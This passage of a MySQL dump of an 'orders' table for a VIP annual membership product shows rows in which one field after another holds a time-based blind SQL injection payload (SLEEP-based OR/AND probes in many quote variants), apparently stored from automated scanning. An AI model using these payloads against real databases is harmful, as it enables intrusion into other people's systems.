'vip_annual\") OR (SELECT*FROM(SELECT(SLEEP(4)))usoc', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.490', '2026-03-05 04:30:34.490', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034053427', 'MP20260305123034053427', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\") OR (SELECT*FROM(SELECT(SLEEP(2)))ourh) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.854', '2026-03-05 04:30:34.854', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034188338', 'MP20260305123034188338', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\") OR (SELECT*FROM(SELECT(SLEEP(3)))gwag) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.277', '2026-03-05 04:30:34.277', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034302689', 'MP20260305123034302689', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\")) OR (SELECT*FROM(SELECT(SLEEP(2)))irvb) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.908', '2026-03-05 04:30:34.908', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034658092', 'MP20260305123034658092', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\") OR (SELECT*FROM(SELECT(SLEEP(4)))jrnq) limit', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.330', '2026-03-05 04:30:34.330', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034684266', 'MP20260305123034684266', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\") OR (SELECT*FROM(SELECT(SLEEP(4)))rgkr) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.223', '2026-03-05 04:30:34.223', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034822897', 'MP20260305123034822897', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\") OR (SELECT*FROM(SELECT(SLEEP(2)))nwbr) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.436', '2026-03-05 04:30:34.436', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034861285', 'MP20260305123034861285', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\") OR (SELECT*FROM(SELECT(SLEEP(4)))yzdk) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.577', '2026-03-05 04:30:34.577', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034950442', 'MP20260305123034950442', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\") OR (SELECT*FROM(SELECT(SLEEP(4)))qawe) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:34.800', '2026-03-05 04:30:34.800', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035112918', 'MP20260305123035112918', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\")) OR (SELECT*FROM(SELECT(SLEEP(3)))vwut) limi', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.294', '2026-03-05 04:30:35.294', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035478059', 'MP20260305123035478059', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\")) OR (SELECT*FROM(SELECT(SLEEP(3)))qtej) limit 1', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.837', '2026-03-05 04:30:35.837', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035534215', 'MP20260305123035534215', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\")) OR (SELECT*FROM(SELECT(SLEEP(4)))dkrz) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.047', '2026-03-05 04:30:35.047', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035634001', 'MP20260305123035634001', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\")) OR (SELECT*FROM(SELECT(SLEEP(2)))qstv) limit 1', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.597', '2026-03-05 04:30:35.597', NULL); -INSERT INTO `orders` VALUES ('MP20260305123035866824', 'MP20260305123035866824', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\")) OR (SELECT*FROM(SELECT(SLEEP(3)))shz', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:35.652', '2026-03-05 04:30:35.652', NULL); -INSERT INTO `orders` VALUES ('MP20260305123036359363', 'MP20260305123036359363', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\")) OR (SELECT*FROM(SELECT(SLEEP(3)))wihn) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:36.864', '2026-03-05 04:30:36.864', NULL); -INSERT INTO `orders` VALUES ('MP20260305123037245427', 'MP20260305123037245427', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" OR (SELECT*FROM(SELECT(SLEEP(4)))mqde) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:37.326', '2026-03-05 04:30:37.326', NULL); -INSERT INTO `orders` VALUES ('MP20260305123037612307', 'MP20260305123037612307', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\")) OR (SELECT*FROM(SELECT(SLEEP(3)))mstr) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:37.269', '2026-03-05 04:30:37.269', NULL); -INSERT INTO `orders` VALUES ('MP20260305123037823234', 'MP20260305123037823234', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" OR (SELECT*FROM(SELECT(SLEEP(2)))wign) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:37.457', '2026-03-05 04:30:37.457', NULL); -INSERT INTO `orders` VALUES ('MP20260305123038101424', 'MP20260305123038101424', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" OR (SELECT*FROM(SELECT(SLEEP(3)))uona) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:38.705', '2026-03-05 04:30:38.705', NULL); -INSERT INTO `orders` VALUES ('MP20260305123038986467', 'MP20260305123038986467', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" OR (SELECT*FROM(SELECT(SLEEP(3)))pcgq) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:38.654', '2026-03-05 04:30:38.654', NULL); -INSERT INTO `orders` VALUES ('MP20260305123039164188', 'MP20260305123039164188', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" OR (SELECT*FROM(SELECT(SLEEP(2)))ciqe)', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:39.874', '2026-03-05 04:30:39.874', NULL); -INSERT INTO `orders` VALUES ('MP20260305123039267897', 'MP20260305123039267897', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" OR (SELECT*FROM(SELECT(SLEEP(3)))ebvs) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:39.927', '2026-03-05 04:30:39.927', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040027550', 'MP20260305123040027550', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\')) OR (SELECT*FROM(SELECT(SLEEP(3)))xhqa) limit 1', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.312', '2026-03-05 04:30:40.312', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040045635', 'MP20260305123040045635', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" OR (SELECT*FROM(SELECT(SLEEP(3)))xmfi) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.044', '2026-03-05 04:30:40.044', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040160969', 'MP20260305123040160969', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\')) OR (SELECT*FROM(SELECT(SLEEP(4)))igih) limi', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.256', '2026-03-05 04:30:40.256', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040858854', 'MP20260305123040858854', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\')) OR (SELECT*FROM(SELECT(SLEEP(3)))gyta) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.207', '2026-03-05 04:30:40.207', NULL); -INSERT INTO `orders` VALUES ('MP20260305123040913483', 'MP20260305123040913483', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" OR (SELECT*FROM(SELECT(SLEEP(3)))jfhd) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:40.098', '2026-03-05 04:30:40.098', NULL); -INSERT INTO `orders` VALUES ('MP20260305123041005210', 'MP20260305123041005210', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\')) OR (SELECT*FROM(SELECT(SLEEP(4)))nujg) limit 1', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:41.202', '2026-03-05 04:30:41.202', NULL); -INSERT INTO `orders` VALUES ('MP20260305123041765639', 'MP20260305123041765639', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\')) OR (SELECT*FROM(SELECT(SLEEP(3)))zsii) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:41.150', '2026-03-05 04:30:41.150', NULL); -INSERT INTO `orders` VALUES ('MP20260305123042261140', 'MP20260305123042261140', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\')) OR (SELECT*FROM(SELECT(SLEEP(3)))xwa', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:42.165', '2026-03-05 04:30:42.165', NULL); -INSERT INTO `orders` VALUES ('MP20260305123042392878', 'MP20260305123042392878', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\')) OR (SELECT*FROM(SELECT(SLEEP(3)))yvaz) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:42.273', '2026-03-05 04:30:42.273', NULL); -INSERT INTO `orders` VALUES ('MP20260305123042904685', 'MP20260305123042904685', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\')) OR (SELECT*FROM(SELECT(SLEEP(3)))bpzb) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:42.328', '2026-03-05 04:30:42.328', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043045158', 'MP20260305123043045158', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' OR (SELECT*FROM(SELECT(SLEEP(2)))ztqd) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.415', '2026-03-05 04:30:43.415', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043098146', 'MP20260305123043098146', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' OR (SELECT*FROM(SELECT(SLEEP(4)))ucnp) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.633', '2026-03-05 04:30:43.633', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043213760', 'MP20260305123043213760', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' OR (SELECT*FROM(SELECT(SLEEP(3)))nuak) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.471', '2026-03-05 04:30:43.471', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043476063', 'MP20260305123043476063', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' OR (SELECT*FROM(SELECT(SLEEP(3)))mvwx)', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.527', '2026-03-05 04:30:43.527', NULL); -INSERT INTO `orders` VALUES ('MP20260305123043982867', 'MP20260305123043982867', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' OR (SELECT*FROM(SELECT(SLEEP(2)))ipia) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:43.309', '2026-03-05 04:30:43.309', NULL); -INSERT INTO `orders` VALUES ('MP20260305123044830545', 'MP20260305123044830545', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' OR (SELECT*FROM(SELECT(SLEEP(4)))xhcm) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:44.591', '2026-03-05 04:30:44.591', NULL); -INSERT INTO `orders` VALUES ('MP20260305123044896675', 'MP20260305123044896675', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\') OR (SELECT*FROM(SELECT(SLEEP(3)))blyp) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:44.683', '2026-03-05 04:30:44.683', NULL); -INSERT INTO `orders` VALUES ('MP20260305123044902719', 'MP20260305123044902719', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' OR (SELECT*FROM(SELECT(SLEEP(3)))hxcf) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:44.366', '2026-03-05 04:30:44.366', NULL); -INSERT INTO `orders` VALUES ('MP20260305123044916693', 'MP20260305123044916693', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' OR (SELECT*FROM(SELECT(SLEEP(3)))hqyl) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:44.312', '2026-03-05 04:30:44.312', NULL); -INSERT INTO `orders` VALUES ('MP20260305123045118955', 'MP20260305123045118955', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\') OR (SELECT*FROM(SELECT(SLEEP(3)))bwqi', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:45.442', '2026-03-05 04:30:45.442', NULL); -INSERT INTO `orders` VALUES ('MP20260305123045244598', 'MP20260305123045244598', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\') OR (SELECT*FROM(SELECT(SLEEP(4)))ljrp) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:45.496', '2026-03-05 04:30:45.496', NULL); -INSERT INTO `orders` VALUES ('MP20260305123045489907', 'MP20260305123045489907', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\') OR (SELECT*FROM(SELECT(SLEEP(3)))xvaf) limit', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:45.177', '2026-03-05 04:30:45.177', NULL); -INSERT INTO `orders` VALUES ('MP20260305123045770820', 'MP20260305123045770820', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\') OR (SELECT*FROM(SELECT(SLEEP(2)))heck) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:45.749', '2026-03-05 04:30:45.749', NULL); -INSERT INTO `orders` VALUES ('MP20260305123046211152', 'MP20260305123046211152', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\') OR (SELECT*FROM(SELECT(SLEEP(3)))crhn) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:46.269', '2026-03-05 04:30:46.269', NULL); -INSERT INTO `orders` VALUES ('MP20260305123046987655', 'MP20260305123046987655', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\') OR (SELECT*FROM(SELECT(SLEEP(2)))lill) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:46.526', '2026-03-05 04:30:46.526', NULL); -INSERT INTO `orders` VALUES ('MP20260305123047110899', 'MP20260305123047110899', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\') OR (SELECT*FROM(SELECT(SLEEP(3)))ehda) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:47.012', '2026-03-05 04:30:47.012', NULL); -INSERT INTO `orders` VALUES ('MP20260305123048778965', 'MP20260305123048778965', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\")) AND (SELECT*FROM(SELECT(SLEEP(4)))ukjw) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:48.997', '2026-03-05 04:30:48.997', NULL); -INSERT INTO `orders` VALUES ('MP20260305123049816653', 'MP20260305123049816653', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\")) AND (SELECT*FROM(SELECT(SLEEP(4)))rque) limit ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:49.249', '2026-03-05 04:30:49.249', NULL); -INSERT INTO `orders` VALUES ('MP20260305123049825026', 'MP20260305123049825026', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\")) AND (SELECT*FROM(SELECT(SLEEP(2)))tw', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:49.195', '2026-03-05 04:30:49.195', NULL); -INSERT INTO `orders` VALUES ('MP20260305123049852824', 'MP20260305123049852824', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))fbax) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:49.095', '2026-03-05 04:30:49.095', NULL); -INSERT INTO `orders` VALUES ('MP20260305123049976724', 'MP20260305123049976724', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))leaa) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:49.045', '2026-03-05 04:30:49.045', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050125607', 'MP20260305123050125607', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\")) AND (SELECT*FROM(SELECT(SLEEP(3)))aerp) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.132', '2026-03-05 04:30:50.132', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050128234', 'MP20260305123050128234', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" AND (SELECT*FROM(SELECT(SLEEP(2)))fmey) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.640', '2026-03-05 04:30:50.640', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050244918', 'MP20260305123050244918', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" AND (SELECT*FROM(SELECT(SLEEP(4)))jiqp) limit', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.874', '2026-03-05 04:30:50.874', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050851542', 'MP20260305123050851542', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\")) AND (SELECT*FROM(SELECT(SLEEP(3)))bzay) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.301', '2026-03-05 04:30:50.301', NULL); -INSERT INTO `orders` VALUES ('MP20260305123050896980', 'MP20260305123050896980', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" AND (SELECT*FROM(SELECT(SLEEP(2)))stmr) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:50.694', '2026-03-05 04:30:50.694', NULL); -INSERT INTO `orders` VALUES ('MP20260305123051858585', 'MP20260305123051858585', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" AND (SELECT*FROM(SELECT(SLEEP(3)))vqsp) limit 1#', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:51.134', '2026-03-05 04:30:51.134', NULL); -INSERT INTO `orders` VALUES ('MP20260305123052271934', 'MP20260305123052271934', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" AND (SELECT*FROM(SELECT(SLEEP(2)))hdyo', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:52.470', '2026-03-05 04:30:52.470', NULL); -INSERT INTO `orders` VALUES ('MP20260305123052634742', 'MP20260305123052634742', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\")) AND (SELECT*FROM(SELECT(SLEEP(3)))siwu) lim', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:52.209', '2026-03-05 04:30:52.209', NULL); -INSERT INTO `orders` VALUES ('MP20260305123052774148', 'MP20260305123052774148', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" AND (SELECT*FROM(SELECT(SLEEP(3)))xluz) limit 1#', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:52.526', '2026-03-05 04:30:52.526', NULL); -INSERT INTO `orders` VALUES ('MP20260305123052964022', 'MP20260305123052964022', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" AND (SELECT*FROM(SELECT(SLEEP(4)))qofb) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:52.800', '2026-03-05 04:30:52.800', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053081658', 'MP20260305123053081658', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\')) AND (SELECT*FROM(SELECT(SLEEP(3)))idyi) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.322', '2026-03-05 04:30:53.322', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053177534', 'MP20260305123053177534', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" AND (SELECT*FROM(SELECT(SLEEP(4)))jdbp) limit 1#', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.783', '2026-03-05 04:30:53.783', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053213642', 'MP20260305123053213642', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\')) AND (SELECT*FROM(SELECT(SLEEP(3)))rrsu) limit 1#', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.392', '2026-03-05 04:30:53.392', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053252317', 'MP20260305123053252317', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\')) AND (SELECT*FROM(SELECT(SLEEP(4)))uo', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.711', '2026-03-05 04:30:53.711', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053708980', 'MP20260305123053708980', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\')) AND (SELECT*FROM(SELECT(SLEEP(4)))gwbb) limit ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.496', '2026-03-05 04:30:53.496', NULL); -INSERT INTO `orders` VALUES ('MP20260305123053825266', 'MP20260305123053825266', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\')) AND (SELECT*FROM(SELECT(SLEEP(4)))zqeg) lim', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:53.448', '2026-03-05 04:30:53.448', 